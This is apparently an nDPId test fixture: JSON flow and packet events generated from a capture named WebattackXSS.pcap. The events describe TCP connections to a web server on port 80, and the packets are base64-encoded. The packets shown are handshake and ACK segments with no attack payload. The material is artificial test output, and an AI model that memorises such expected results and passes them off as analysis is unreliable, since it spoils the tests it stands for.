+00442{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346989,"pkt_ts_usec":580870,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzOZrnFEQfBThtqAScSCnCAAAAgQFtAQCCAoD4s7EATj9TQEDAwc="} +00431{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346989,"pkt_ts_usec":581585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HPlAAD4GqN+sEAABwKgKMszmAFB8FOG2a5xREYAQAOVGDwAAAQEICgE4\/U4D4s7E"} +00431{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346989,"pkt_ts_usec":608136,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0puNAAD4GHvWsEAABwKgKMsywAFBLrV6vVp8TeIARAOVRQQAAAQEICgE4\/VQD4snG"} +00430{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346989,"pkt_ts_usec":608240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA03bNAAEAG5iTAqAoyrBAAAQBQzLBWnxN4S61esIARAONMPQAAAQEICgPizssBOP1U"} +00431{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346989,"pkt_ts_usec":608803,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0puRAAD4GHvSsEAABwKgKMsywAFBLrV6wVp8TeYAQAOVMOwAAAQEICgE4\/VQD4s7L"} +00432{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346991,"pkt_ts_usec":608732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0k7pAAD4GMh6sEAABwKgKMsy+AFBA2mosABB4IIARAOU\/OAAAAQEICgE4\/0gD4ssK"} +00430{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346991,"pkt_ts_usec":609848,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qJ9AAEAGGznAqAoyrBAAAQBQzL4AEHggQNpqLYAQAOM5hAAAAQEICgPi0MABOP9I"} +00430{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346991,"pkt_ts_usec":609919,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qKBAAEAGGzjAqAoyrBAAAQBQzL4AEHggQNpqLYARAOM5gwAAAQEICgPi0MABOP9I"} +00431{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346991,"pkt_ts_usec":610503,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ADdAAD4GxaGsEAABwKgKMsy+AFBA2motABB4IYAQAOU5gAAAAQEICgE4\/0kD4tDA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":256,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1499346992144,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52480,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346992,"pkt_ts_usec":144682,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA855pAAD4G3jWsEAABwKgKMs0AAFBUEBhUAAAAAKACchAkSAAAAgQFtAQCCAoBOP\/OAAAAAAEDAwc="} +00443{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346992,"pkt_ts_usec":144853,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzQA256uwVBAYVaAScSBtZwAAAgQFtAQCCAoD4tFFATj\/zgEDAwc="} +00431{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346992,"pkt_ts_usec":145619,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA055tAAD4G3jysEAABwKgKMs0AAFBUEBhVNuersYAQAOUMbgAAAQEICgE4\/88D4tFF"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":265,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1499346993434,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52494,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346993,"pkt_ts_usec":434942,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QspAAD4GgwasEAABwKgKMs0OAFBi7kPbAAAAAKACchDokQAAAgQFtAQCCAoBOQERAAAAAAEDAwc="} +00442{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346993,"pkt_ts_usec":435036,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzQ7bbxEWYu5D3KAScSAmgAAAAgQFtAQCCAoD4tKIATkBEQEDAwc="} +00430{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346993,"pkt_ts_usec":435831,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QstAAD4Ggw2sEAABwKgKMs0OAFBi7kPc228RF4AQAOXFhwAAAQEICgE5ARED4tKI"} +00430{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346993,"pkt_ts_usec":609330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Np1AAD4GjzusEAABwKgKMszYAFB2NsqKVSwdqYARAOWqSwAAAQEICgE5ATwD4s2J"} +00430{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346993,"pkt_ts_usec":609545,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zxpAAEAG9L3AqAoyrBAAAQBQzNhVLB2pdjbKi4ARAOOlIgAAAQEICgPi0rMBOQE8"} +00430{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346993,"pkt_ts_usec":610291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Np5AAD4GjzqsEAABwKgKMszYAFB2NsqLVSwdqoAQAOWlHwAAAQEICgE5AT0D4tKz"} +00430{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346994,"pkt_ts_usec":609334,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HPpAAD4GqN6sEAABwKgKMszmAFB8FOG2a5xREYARAOVBJgAAAQEICgE5AjYD4s7E"} +00430{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346994,"pkt_ts_usec":609531,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0grxAAEAGQRzAqAoyrBAAAQBQzOZrnFERfBTht4ARAOM8PgAAAQEICgPi060BOQI2"} +00430{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346994,"pkt_ts_usec":610271,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HPtAAD4GqN2sEAABwKgKMszmAFB8FOG3a5xREoAQAOU8OwAAAQEICgE5AjcD4tOt"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":280,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1499346994731,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346994,"pkt_ts_usec":731477,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ErdAAD4GsxmsEAABwKgKMs0cAFAyGBDiAAAAAKACchBLDwAAAgQFtAQCCAoBOQJVAAAAAAEDAwc="} +00442{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346994,"pkt_ts_usec":731607,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzRyBtZXkMhgQ46AScSBcpQAAAgQFtAQCCAoD4tPMATkCVQEDAwc="} +00430{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346994,"pkt_ts_usec":732169,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ErhAAD4GsyCsEAABwKgKMs0cAFAyGBDjgbWV5YAQAOX7rAAAAQEICgE5AlUD4tPM"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":295,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1499346997314,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52534,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346997,"pkt_ts_usec":314764,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZWRAAD4GYGysEAABwKgKMs02AFBhbWG\/AAAAAKACchDIPAAAAgQFtAQCCAoBOQTbAAAAAAEDAwc="} +00442{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346997,"pkt_ts_usec":314890,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzTaSy6RrYW1hwKAScSC3rwAAAgQFtAQCCAoD4tZSATkE2wEDAwc="} +00430{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346997,"pkt_ts_usec":315650,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZWVAAD4GYHOsEAABwKgKMs02AFBhbWHAksukbIAQAOVWtwAAAQEICgE5BNsD4tZS"} +00430{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346997,"pkt_ts_usec":610179,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA055xAAD4G3jusEAABwKgKMs0AAFBUEBhVNuersYARAOUHFwAAAQEICgE5BSUD4tFF"} +00430{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346997,"pkt_ts_usec":610395,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fS1AAEAGRqvAqAoyrBAAAQBQzQA256uxVBAYVoARAOMBwQAAAQEICgPi1pwBOQUl"} +00430{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346997,"pkt_ts_usec":611137,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0551AAD4G3jqsEAABwKgKMs0AAFBUEBhWNuersoAQAOUBvwAAAQEICgE5BSUD4tac"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":307,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1499346998578,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52548,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346998,"pkt_ts_usec":578995,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8K3xAAD4GmlSsEAABwKgKMs1EAFB2Xi1rAAAAAKACchDmVQAAAgQFtAQCCAoBOQYXAAAAAAEDAwc="} +00442{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346998,"pkt_ts_usec":579095,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzUQbBzt5dl4tbKAScSC1QwAAAgQFtAQCCAoD4teOATkGFwEDAwc="} +00430{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346998,"pkt_ts_usec":579866,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K31AAD4GmlusEAABwKgKMs1EAFB2Xi1sGwc7eoAQAOVUSwAAAQEICgE5BhcD4teO"} +00430{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346998,"pkt_ts_usec":610585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QsxAAD4GgwysEAABwKgKMs0OAFBi7kPc228RF4ARAOXAeAAAAQEICgE5Bh8D4tKI"} +00431{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346998,"pkt_ts_usec":610674,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0xoFAAEAG\/VbAqAoyrBAAAQBQzQ7bbxEXYu5D3YARAOO7awAAAQEICgPi15YBOQYf"} +00430{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346998,"pkt_ts_usec":611455,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Qs1AAD4GgwusEAABwKgKMs0OAFBi7kPd228RGIAQAOW7aQAAAQEICgE5Bh8D4teW"} +00430{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347000,"pkt_ts_usec":611214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ErlAAD4Gsx+sEAABwKgKMs0cAFAyGBDjgbWV5YARAOX17QAAAQEICgE5CBMD4tPM"} +00430{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347000,"pkt_ts_usec":611437,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TG9AAEAGd2nAqAoyrBAAAQBQzRyBtZXlMhgQ5IARAOPwMAAAAQEICgPi2YoBOQgT"} +00430{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347000,"pkt_ts_usec":612186,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ErpAAD4Gsx6sEAABwKgKMs0cAFAyGBDkgbWV5oAQAOXwLgAAAQEICgE5CBMD4tmK"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1499347001111,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52574,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347001,"pkt_ts_usec":111123,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8kNhAAD4GNPisEAABwKgKMs1eAFDMzJhIAAAAAKACchAidwAAAgQFtAQCCAoBOQiQAAAAAAEDAwc="} +00442{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347001,"pkt_ts_usec":111223,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzV4q6d3azMyYSaAScSA8qAAAAgQFtAQCCAoD4toHATkIkAEDAwc="} +00430{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347001,"pkt_ts_usec":112014,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kNlAAD4GNP+sEAABwKgKMs1eAFDMzJhJKund24AQAOXbrwAAAQEICgE5CJAD4toH"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":337,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1499347002399,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52588,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347002,"pkt_ts_usec":399632,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8d7tAAD4GThWsEAABwKgKMs1sAFBA8H5pAAAAAKACchDG4gAAAgQFtAQCCAoBOQnSAAAAAAEDAwc="} +00442{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347002,"pkt_ts_usec":399764,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzWx3BXtPQPB+aqAScSD2QAAAAgQFtAQCCAoD4ttJATkJ0gEDAwc="} 